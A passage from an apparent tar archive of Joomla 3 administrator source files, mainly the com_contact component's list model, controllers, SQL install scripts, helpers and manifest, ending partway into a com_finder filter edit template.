	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'alias', 'a.alias',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'catid', 'a.catid', 'category_id', 'category_title',
				'user_id', 'a.user_id',
				'published', 'a.published',
				'access', 'a.access', 'access_level',
				'created', 'a.created',
				'created_by', 'a.created_by',
				'ordering', 'a.ordering',
				'featured', 'a.featured',
				'language', 'a.language', 'language_title',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'ul.name', 'linked_user',
				'tag',
				'level', 'c.level',
			);

			$assoc = JLanguageAssociations::isEnabled();

			if ($assoc)
			{
				$config['filter_fields'][] = 'association';
			}
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.name', $direction = 'asc')
	{
		$app = JFactory::getApplication();

		$forcedLanguage = $app->input->get('forcedLanguage', '', 'cmd');

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Adjust the context to support forced languages.
		if ($forcedLanguage)
		{
			$this->context .= '.' . $forcedLanguage;
		}

		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.published', $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '', 'string'));
		$this->setState('filter.category_id',
						$this->getUserStateFromRequest($this->context . '.filter.category_id', 'filter_category_id', '', 'string')
		);
		$this->setState('filter.access', $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access', '', 'cmd'));
		$this->setState('filter.language', $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '', 'string'));
		$this->setState('filter.tag', $this->getUserStateFromRequest($this->context . '.filter.tag', 'filter_tag', '', 'string'));
		$this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', null, 'int'));

		// List state information.
		parent::populateState($ordering, $direction);

		// Force a language.
		if (!empty($forcedLanguage))
		{
			$this->setState('filter.language', $forcedLanguage);
		}
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . serialize($this->getState('filter.category_id'));
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.language');
		$id .= ':' . $this->getState('filter.tag');
		$id .= ':' . $this->getState('filter.level');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$user = JFactory::getUser();

		// Select the required fields from the table.
		$query->select(
			$db->quoteName(
				explode(', ', $this->getState(
					'list.select',
					'a.id, a.name, a.alias, a.checked_out, a.checked_out_time, a.catid, a.user_id' .
					', a.published, a.access, a.created, a.created_by, a.ordering, a.featured, a.language' .
					', a.publish_up, a.publish_down'
					)
				)
			)
		);
		$query->from($db->quoteName('#__contact_details', 'a'));

		// Join over the users for the linked user.
		$query->select(
				array(
					$db->quoteName('ul.name', 'linked_user'),
					$db->quoteName('ul.email')
				)
			)
			->join(
				'LEFT',
				$db->quoteName('#__users', 'ul') . ' ON ' . $db->quoteName('ul.id') . ' = ' . $db->quoteName('a.user_id')
			);

		// Join over the language
		$query->select($db->quoteName('l.title', 'language_title'))
			->select($db->quoteName('l.image', 'language_image'))
			->join(
				'LEFT',
				$db->quoteName('#__languages', 'l') . ' ON ' . $db->quoteName('l.lang_code') . ' = ' . $db->quoteName('a.language')
			);

		// Join over the users for the checked out user.
		$query->select($db->quoteName('uc.name', 'editor'))
			->join(
				'LEFT',
				$db->quoteName('#__users', 'uc') . ' ON ' . $db->quoteName('uc.id') . ' = ' . $db->quoteName('a.checked_out')
			);

		// Join over the asset groups.
		$query->select($db->quoteName('ag.title', 'access_level'))
			->join(
				'LEFT',
				$db->quoteName('#__viewlevels', 'ag') . ' ON ' . $db->quoteName('ag.id') . ' = ' . $db->quoteName('a.access')
			);

		// Join over the categories.
		$query->select($db->quoteName('c.title', 'category_title'))
			->join(
				'LEFT',
				$db->quoteName('#__categories', 'c') . ' ON ' . $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid')
			);

		// Join over the associations.
		$assoc = JLanguageAssociations::isEnabled();

		if ($assoc)
		{
			$subQuery = $db->getQuery(true)
				->select('COUNT(' . $db->quoteName('asso1.id') . ') > 1')
				->from($db->quoteName('#__associations', 'asso1'))
				->join('INNER', $db->quoteName('#__associations', 'asso2') . ' ON ' . $db->quoteName('asso1.key') . ' = ' . $db->quoteName('asso2.key'))
				->where(
					array(
						$db->quoteName('asso1.id') . ' = ' . $db->quoteName('a.id'),
						$db->quoteName('asso1.context') . ' = ' . $db->quote('com_contact.item'),
					)
				);

			$query->select('(' . $subQuery . ') AS ' . $db->quoteName('association'));
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where($db->quoteName('a.access') . ' = ' . (int) $access);
		}

		// Implement View Level Access
		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where($db->quoteName('a.access') . ' IN (' . $groups . ')');
		}

		// Filter by published state
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where($db->quoteName('a.published') . ' = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(' . $db->quoteName('a.published') . ' = 0 OR ' . $db->quoteName('a.published') . ' = 1)');
		}

		// Filter by search in name.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where(
					'(' . $db->quoteName('a.name') . ' LIKE ' . $search . ' OR ' . $db->quoteName('a.alias') . ' LIKE ' . $search . ')'
				);
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where($db->quoteName('a.language') . ' = ' . $db->quote($language));
		}

		// Filter by a single tag.
		$tagId = $this->getState('filter.tag');

		if (is_numeric($tagId))
		{
			$query->where($db->quoteName('tagmap.tag_id') . ' = ' . (int) $tagId)
				->join(
					'LEFT',
					$db->quoteName('#__contentitem_tag_map', 'tagmap')
					. ' ON ' . $db->quoteName('tagmap.content_item_id') . ' = ' . $db->quoteName('a.id')
					. ' AND ' . $db->quoteName('tagmap.type_alias') . ' = ' . $db->quote('com_contact.contact')
				);
		}

		// Filter by categories and by level
		$categoryId = $this->getState('filter.category_id', array());
		$level = $this->getState('filter.level');

		if (!is_array($categoryId))
		{
			$categoryId = $categoryId ? array($categoryId) : array();
		}

		// Case: Using both categories filter and by level filter
		if (count($categoryId))
		{
			$categoryId = ArrayHelper::toInteger($categoryId);
			$categoryTable = JTable::getInstance('Category', 'JTable');
			$subCatItemsWhere = array();
		
			foreach ($categoryId as $filter_catid)
			{
				$categoryTable->load($filter_catid);
				$subCatItemsWhere[] = '(' .
					($level ? 'c.level <= ' . ((int) $level + (int) $categoryTable->level - 1) . ' AND ' : '') .
					'c.lft >= ' . (int) $categoryTable->lft . ' AND ' .
					'c.rgt <= ' . (int) $categoryTable->rgt . ')';
			}
		
			$query->where('(' . implode(' OR ', $subCatItemsWhere) . ')');
		}

		// Case: Using only the by level filter
		elseif ($level)
		{
			$query->where('c.level <= ' . (int) $level);
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering', 'a.name');
		$orderDirn = $this->state->get('list.direction', 'asc');

		if ($orderCol == 'a.ordering' || $orderCol == 'category_title')
		{
			$orderCol = $db->quoteName('c.title') . ' ' . $orderDirn . ', ' . $db->quoteName('a.ordering');
		}

		$query->order($db->escape($orderCol . ' ' . $orderDirn));

		return $query;
	}
}
com_contact/controllers/ajax.json.php000060400000004502152455305310014007 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * The contact controller for ajax requests
 *
 * @since  3.9.0
 */
class ContactControllerAjax extends JControllerLegacy
{
	/**
	 * Method to fetch associations of a contact
	 *
	 * The method assumes that the following http parameters are passed in an Ajax Get request:
	 * token: the form token
	 * assocId: the id of the contact whose associations are to be returned
	 * excludeLang: the association for this language is to be excluded
	 *
	 * @return  null
	 *
	 * @since  3.9.0
	 */
	public function fetchAssociations()
	{
		if (!JSession::checkToken('get'))
		{
			echo new JResponseJson(null, JText::_('JINVALID_TOKEN'), true);
		}
		else
		{
			$input = JFactory::getApplication()->input;

			$assocId = $input->getInt('assocId', 0);

			if ($assocId == 0)
			{
				echo new JResponseJson(null, JText::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'assocId'), true);

				return;
			}

			$excludeLang = $input->get('excludeLang', '', 'STRING');

			$associations = JLanguageAssociations::getAssociations('com_contact', '#__contact_details', 'com_contact.item', (int) $assocId);

			unset($associations[$excludeLang]);

			// Add the title to each of the associated records
			JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_contact/tables');
			$contactTable = JTable::getInstance('Contact', 'ContactTable');

			foreach ($associations as $lang => $association)
			{
				$contactTable->load($association->id);
				$associations[$lang]->title = $contactTable->name;
			}

			$countContentLanguages = count(LanguageHelper::getContentLanguages(array(0, 1)));

			if (count($associations) == 0)
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_NONE');
			}
			elseif ($countContentLanguages > count($associations) + 2)
			{
				$tags    = implode(', ', array_keys($associations));
				$message = JText::sprintf('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_SOME', $tags);
			}
			else
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_ALL');
			}

			echo new JResponseJson($associations, $message);
		}
	}
}
com_contact/controllers/contacts.php000060400000005217152455305310013736 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Contacts list controller class.
 *
 * @since  1.6
 */
class ContactControllerContacts extends JControllerAdmin
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->registerTask('unfeatured',	'featured');
	}

	/**
	 * Method to toggle the featured setting of a list of contacts.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function featured()
	{
		// Check for request forgeries
		$this->checkToken();

		$ids    = (array) $this->input->get('cid', array(), 'int');
		$values = array('featured' => 1, 'unfeatured' => 0);
		$task   = $this->getTask();
		$value  = ArrayHelper::getValue($values, $task, 0, 'int');

		// Get the model.
		/** @var ContactModelContact $model */
		$model  = $this->getModel();

		// Access checks.
		foreach ($ids as $i => $id)
		{
			// Remove zero value resulting from input filter
			if ($id === 0)
			{
				unset($ids[$i]);

				continue;
			}

			$item = $model->getItem($id);

			if (!JFactory::getUser()->authorise('core.edit.state', 'com_contact.category.' . (int) $item->catid))
			{
				// Prune items that you can't change.
				unset($ids[$i]);
				JError::raiseNotice(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
			}
		}

		if (empty($ids))
		{
			$message = null;

			JError::raiseWarning(500, JText::_('COM_CONTACT_NO_ITEM_SELECTED'));
		}
		else
		{
			// Publish the items.
			if (!$model->featured($ids, $value))
			{
				JError::raiseWarning(500, $model->getError());
			}

			if ($value == 1)
			{
				$message = JText::plural('COM_CONTACT_N_ITEMS_FEATURED', count($ids));
			}
			else
			{
				$message = JText::plural('COM_CONTACT_N_ITEMS_UNFEATURED', count($ids));
			}
		}

		$this->setRedirect('index.php?option=com_contact&view=contacts', $message);
	}

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The name of the model.
	 * @param   string  $prefix  The prefix for the PHP class name.
	 * @param   array   $config  Array of configuration parameters.
	 *
	 * @return  JModelLegacy
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Contact', $prefix = 'ContactModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_contact/sql/install.mysql.utf8.sql000060400000004453152455305310014061 0ustar00--
-- Table structure for table `#__contact_details`
--

CREATE TABLE IF NOT EXISTS `#__contact_details` (
  `id` int NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL,
  `con_position` varchar(255),
  `address` text,
  `suburb` varchar(100),
  `state` varchar(100),
  `country` varchar(100),
  `postcode` varchar(100),
  `telephone` varchar(255),
  `fax` varchar(255),
  `misc` mediumtext,
  `image` varchar(255),
  `email_to` varchar(255),
  `default_con` tinyint unsigned NOT NULL DEFAULT 0,
  `published` tinyint NOT NULL DEFAULT 0,
  `checked_out` int unsigned NOT NULL DEFAULT 0,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `ordering` int NOT NULL DEFAULT 0,
  `params` text NOT NULL,
  `user_id` int NOT NULL DEFAULT 0,
  `catid` int NOT NULL DEFAULT 0,
  `access` int unsigned NOT NULL DEFAULT 0,
  `mobile` varchar(255) NOT NULL DEFAULT '',
  `webpage` varchar(255) NOT NULL DEFAULT '',
  `sortname1` varchar(255) NOT NULL DEFAULT '',
  `sortname2` varchar(255) NOT NULL DEFAULT '',
  `sortname3` varchar(255) NOT NULL DEFAULT '',
  `language` varchar(7) NOT NULL,
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by` int unsigned NOT NULL DEFAULT 0,
  `created_by_alias` varchar(255) NOT NULL DEFAULT '',
  `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `modified_by` int unsigned NOT NULL DEFAULT 0,
  `metakey` text NOT NULL,
  `metadesc` text NOT NULL,
  `metadata` text NOT NULL,
  `featured` tinyint unsigned NOT NULL DEFAULT 0 COMMENT 'Set if contact is featured.',
  `xreference` varchar(50) NOT NULL DEFAULT '' COMMENT 'A reference to enable linkages to external data sets.',
  `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `version` int unsigned NOT NULL DEFAULT 1,
  `hits` int unsigned NOT NULL DEFAULT 0,
  PRIMARY KEY (`id`),
  KEY `idx_access` (`access`),
  KEY `idx_checkout` (`checked_out`),
  KEY `idx_state` (`published`),
  KEY `idx_catid` (`catid`),
  KEY `idx_createdby` (`created_by`),
  KEY `idx_featured_catid` (`featured`,`catid`),
  KEY `idx_language` (`language`),
  KEY `idx_xreference` (`xreference`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;
com_contact/sql/uninstall.mysql.utf8.sql000060400000000054152455305310014415 0ustar00DROP TABLE IF EXISTS `#__contact_details`;

com_contact/helpers/html/contact.php000060400000007427152455305310013620 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JLoader::register('ContactHelper', JPATH_ADMINISTRATOR . '/components/com_contact/helpers/contact.php');

/**
 * Contact HTML helper class.
 *
 * @since  1.6
 */
abstract class JHtmlContact
{
	/**
	 * Get the associated language flags
	 *
	 * @param   integer  $contactid  The item id to search associations
	 *
	 * @return  string  The language HTML
	 *
	 * @throws  Exception
	 */
	public static function association($contactid)
	{
		// Defaults
		$html = '';

		// Get the associations
		if ($associations = JLanguageAssociations::getAssociations('com_contact', '#__contact_details', 'com_contact.item', $contactid))
		{
			foreach ($associations as $tag => $associated)
			{
				$associations[$tag] = (int) $associated->id;
			}

			// Get the associated contact items
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select('c.id, c.name as title')
				->select('l.sef as lang_sef, lang_code')
				->from('#__contact_details as c')
				->select('cat.title as category_title')
				->join('LEFT', '#__categories as cat ON cat.id=c.catid')
				->where('c.id IN (' . implode(',', array_values($associations)) . ')')
				->where('c.id != ' . $contactid)
				->join('LEFT', '#__languages as l ON c.language=l.lang_code')
				->select('l.image')
				->select('l.title as language_title');
			$db->setQuery($query);

			try
			{
				$items = $db->loadObjectList('id');
			}
			catch (RuntimeException $e)
			{
				throw new Exception($e->getMessage(), 500, $e);
			}

			if ($items)
			{
				foreach ($items as &$item)
				{
					$text = strtoupper($item->lang_sef);
					$url = JRoute::_('index.php?option=com_contact&task=contact.edit&id=' . (int) $item->id);

					$tooltip = htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8') . '<br />' . JText::sprintf('JCATEGORY_SPRINTF', $item->category_title);
					$classes = 'hasPopover label label-association label-' . $item->lang_sef;

					$item->link = '<a href="' . $url . '" title="' . $item->language_title . '" class="' . $classes
						. '" data-content="' . $tooltip . '" data-placement="top">'
						. $text . '</a>';
				}
			}

			JHtml::_('bootstrap.popover');

			$html = JLayoutHelper::render('joomla.content.associations', $items);
		}

		return $html;
	}

	/**
	 * Show the featured/not-featured icon.
	 *
	 * @param   integer  $value      The featured value.
	 * @param   integer  $i          Id of the item.
	 * @param   boolean  $canChange  Whether the value can be changed or not.
	 *
	 * @return  string	The anchor tag to toggle featured/unfeatured contacts.
	 *
	 * @since   1.6
	 */
	public static function featured($value = 0, $i = 0, $canChange = true)
	{

		// Array of image, task, title, action
		$states = array(
			0 => array('unfeatured', 'contacts.featured', 'COM_CONTACT_UNFEATURED', 'JGLOBAL_TOGGLE_FEATURED'),
			1 => array('featured', 'contacts.unfeatured', 'JFEATURED', 'JGLOBAL_TOGGLE_FEATURED'),
		);
		$state = ArrayHelper::getValue($states, (int) $value, $states[1]);
		$icon  = $state[0];

		if ($canChange)
		{
			$html = '<a href="#" onclick="return listItemTask(\'cb' . $i . '\',\'' . $state[1] . '\')" class="btn btn-micro hasTooltip'
				. ($value == 1 ? ' active' : '') . '" title="' . JHtml::_('tooltipText', $state[3])
				. '"><span class="icon-' . $icon . '" aria-hidden="true"></span></a>';
		}
		else
		{
			$html = '<a class="btn btn-micro hasTooltip disabled' . ($value == 1 ? ' active' : '') . '" title="'
			. JHtml::_('tooltipText', $state[2]) . '"><span class="icon-' . $icon . '" aria-hidden="true"></span></a>';
		}

		return $html;
	}
}
com_contact/helpers/associations.php000060400000007116152455305310013713 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Association\AssociationExtensionHelper;

JTable::addIncludePath(__DIR__ . '/../tables');

/**
 * Content associations helper.
 *
 * @since  3.7.0
 */
class ContactAssociationsHelper extends AssociationExtensionHelper
{
	/**
	 * The extension name
	 *
	 * @var     array   $extension
	 *
	 * @since   3.7.0
	 */
	protected $extension = 'com_contact';

	/**
	 * Array of item types
	 *
	 * @var     array   $itemTypes
	 *
	 * @since   3.7.0
	 */
	protected $itemTypes = array('contact', 'category');

	/**
	 * Has the extension association support
	 *
	 * @var     boolean   $associationsSupport
	 *
	 * @since   3.7.0
	 */
	protected $associationsSupport = true;

	/**
	 * Get the associated items for an item
	 *
	 * @param   string  $typeName  The item type
	 * @param   int     $id        The id of item for which we need the associated items
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public function getAssociations($typeName, $id)
	{
		$type = $this->getType($typeName);

		$context    = $this->extension . '.item';
		$catidField = 'catid';

		if ($typeName === 'category')
		{
			$context    = 'com_categories.item';
			$catidField = '';
		}

		// Get the associations.
		$associations = JLanguageAssociations::getAssociations(
			$this->extension,
			$type['tables']['a'],
			$context,
			$id,
			'id',
			'alias',
			$catidField
		);

		return $associations;
	}

	/**
	 * Get item information
	 *
	 * @param   string  $typeName  The item type
	 * @param   int     $id        The id of item for which we need the associated items
	 *
	 * @return  JTable|null
	 *
	 * @since   3.7.0
	 */
	public function getItem($typeName, $id)
	{
		if (empty($id))
		{
			return null;
		}

		$table = null;

		switch ($typeName)
		{
			case 'contact':
				$table = JTable::getInstance('Contact', 'ContactTable');
				break;

			case 'category':
				$table = JTable::getInstance('Category');
				break;
		}

		if (empty($table))
		{
			return null;
		}

		$table->load($id);

		return $table;
	}

	/**
	 * Get information about the type
	 *
	 * @param   string  $typeName  The item type
	 *
	 * @return  array  Array of item types
	 *
	 * @since   3.7.0
	 */
	public function getType($typeName = '')
	{
		$fields  = $this->getFieldsTemplate();
		$tables  = array();
		$joins   = array();
		$support = $this->getSupportTemplate();
		$title   = '';

		if (in_array($typeName, $this->itemTypes))
		{
			switch ($typeName)
			{
				case 'contact':
					$fields['title'] = 'a.name';
					$fields['state'] = 'a.published';

					$support['state'] = true;
					$support['acl'] = true;
					$support['checkout'] = true;
					$support['category'] = true;
					$support['save2copy'] = true;

					$tables = array(
						'a' => '#__contact_details'
					);

					$title = 'contact';
					break;

				case 'category':
					$fields['created_user_id'] = 'a.created_user_id';
					$fields['ordering'] = 'a.lft';
					$fields['level'] = 'a.level';
					$fields['catid'] = '';
					$fields['state'] = 'a.published';

					$support['state'] = true;
					$support['acl'] = true;
					$support['checkout'] = true;
					$support['level'] = true;

					$tables = array(
						'a' => '#__categories'
					);

					$title = 'category';
					break;
			}
		}

		return array(
			'fields'  => $fields,
			'support' => $support,
			'tables'  => $tables,
			'joins'   => $joins,
			'title'   => $title
		);
	}
}
com_contact/helpers/contact.php000060400000007262152455305310012651 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Contact component helper.
 *
 * @since  1.6
 */
class ContactHelper extends JHelperContent
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_CONTACT_SUBMENU_CONTACTS'),
			'index.php?option=com_contact&view=contacts',
			$vName == 'contacts'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_CONTACT_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_contact',
			$vName == 'categories'
		);

		if (JComponentHelper::isEnabled('com_fields') && JComponentHelper::getParams('com_contact')->get('custom_fields_enable', '1'))
		{
			JHtmlSidebar::addEntry(
				JText::_('JGLOBAL_FIELDS'),
				'index.php?option=com_fields&context=com_contact.contact',
				$vName == 'fields.fields'
			);
			JHtmlSidebar::addEntry(
				JText::_('JGLOBAL_FIELD_GROUPS'),
				'index.php?option=com_fields&view=groups&context=com_contact.contact',
				$vName == 'fields.groups'
			);
		}
	}

	/**
	 * Adds Count Items for Category Manager.
	 *
	 * @param   stdClass[]  &$items  The category objects
	 *
	 * @return  stdClass[]
	 *
	 * @since   3.5
	 */
	public static function countItems(&$items)
	{
		$config = (object) array(
			'related_tbl'   => 'contact_details',
			'state_col'     => 'published',
			'group_col'     => 'catid',
			'relation_type' => 'category_or_group',
		);

		return parent::countRelations($items, $config);
	}

	/**
	 * Adds Count Items for Tag Manager.
	 *
	 * @param   stdClass[]  &$items     The tag objects
	 * @param   string      $extension  The name of the active view.
	 *
	 * @return  stdClass[]
	 *
	 * @since   3.6
	 */
	public static function countTagItems(&$items, $extension)
	{
		$parts   = explode('.', $extension);
		$section = count($parts) > 1 ? $parts[1] : null;

		$config = (object) array(
			'related_tbl'   => ($section === 'category' ? 'categories' : 'contact_details'),
			'state_col'     => 'published',
			'group_col'     => 'tag_id',
			'extension'     => $extension,
			'relation_type' => 'tag_assigments',
		);

		return parent::countRelations($items, $config);
	}

	/**
	 * Returns a valid section for contacts. If it is not valid then null
	 * is returned.
	 *
	 * @param   string  $section  The section to get the mapping for
	 * @param   object  $item     optional item object
	 *
	 * @return  string|null  The new section
	 *
	 * @since   3.7.0
	 */
	public static function validateSection($section, $item)
	{
		if (JFactory::getApplication()->isClient('site') && $section == 'contact' && $item instanceof JForm)
		{
			// The contact form needs to be the mail section
			$section = 'mail';
		}

		if (JFactory::getApplication()->isClient('site') && $section == 'category')
		{
			// The contact form needs to be the mail section
			$section = 'contact';
		}

		if ($section != 'mail' && $section != 'contact')
		{
			// We don't know other sections
			return null;
		}

		return $section;
	}

	/**
	 * Returns valid contexts
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public static function getContexts()
	{
		JFactory::getLanguage()->load('com_contact', JPATH_ADMINISTRATOR);

		$contexts = array(
			'com_contact.contact'    => JText::_('COM_CONTACT_FIELDS_CONTEXT_CONTACT'),
			'com_contact.mail'       => JText::_('COM_CONTACT_FIELDS_CONTEXT_MAIL'),
			'com_contact.categories' => JText::_('JCATEGORY')
		);

		return $contexts;
	}
}
com_contact/contact.xml000060400000004142152455305310011212 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_contact</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_CONTACT_XML_DESCRIPTION</description>

	<install> <!-- Runs on install -->
		<sql>
			<file driver="mysql" charset="utf8">sql/install.mysql.utf8.sql</file>
		</sql>
	</install>
	<uninstall> <!-- Runs on uninstall -->
		<sql>
			<file driver="mysql" charset="utf8">sql/uninstall.mysql.utf8.sql</file>
		</sql>
	</uninstall>

	<files folder="site">
		<filename>contact.php</filename>
		<filename>controller.php</filename>
		<filename>router.php</filename>
		<folder>helpers</folder>
		<folder>models</folder>
		<folder>views</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_contact.ini</language>
	</languages>

	<administration>
		<menu img="class:contact">COM_CONTACT</menu>
		<submenu>
			<!--
				Note that all & must be escaped to &amp; for the file to be valid
				XML and be parsed by the installer
			-->
			<menu link="option=com_contact" img="class:contact"
				alt="Contact/Contacts">COM_CONTACT_CONTACTS</menu>
			<menu link="option=com_categories&amp;extension=com_contact"
				view="categories" img="class:contact-cat" alt="Contacts/Categories">COM_CONTACT_CATEGORIES</menu>
		</submenu>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>contact.php</filename>
			<filename>controller.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_contact.ini</language>
			<language tag="en-GB">language/en-GB.com_contact.sys.ini</language>
		</languages>
	</administration>
</extension>

com_finder/views/filter/tmpl/edit.php000060400000006727152455305310013720 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.tabstate');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "filter.cancel" || document.formvalidator.isValid(document.getElementById("adminForm")))
		{
			Joomla.submitform(task, document.getElementById("adminForm"));
		}
	};

	jQuery(document).ready(function($) {
		$("#rightbtn").on("click", function() {
			if($(this).text() == "' . JText::_('COM_FINDER_FILTER_SHOW_ALL') . '") {
				$(".collapse:not(.in)").each(function (index) {
					$(this).collapse("toggle");
				});
				$(this).text("' . JText::_('COM_FINDER_FILTER_HIDE_ALL') . '");
			} else {
				$(this).text("' . JText::_('COM_FINDER_FILTER_SHOW_ALL') . '");
				$(".collapse.in").each(function (index) {
				$(this).collapse("toggle");
			});
		}
		return false;
		});

		$(".filter-node").change(function() {
			$(\'input[id="jform_map_count"]\').val(document.querySelectorAll(\'input[type="checkbox"]:checked\').length);
		});


	});
');

JFactory::getDocument()->addStyleDeclaration('
	.accordion-inner .control-group .controls {
		margin-left: 10px;
	}
	.accordion-inner > .control-group {
		margin-bottom: 0;
	}
	');
?>

<form action="<?php echo JRoute::_('index.php?option=com_finder&view=filter&layout=edit&filter_id=' . (int) $this->item->filter_id); ?>" method="post" name="adminForm" id="adminForm" class="form-validate">

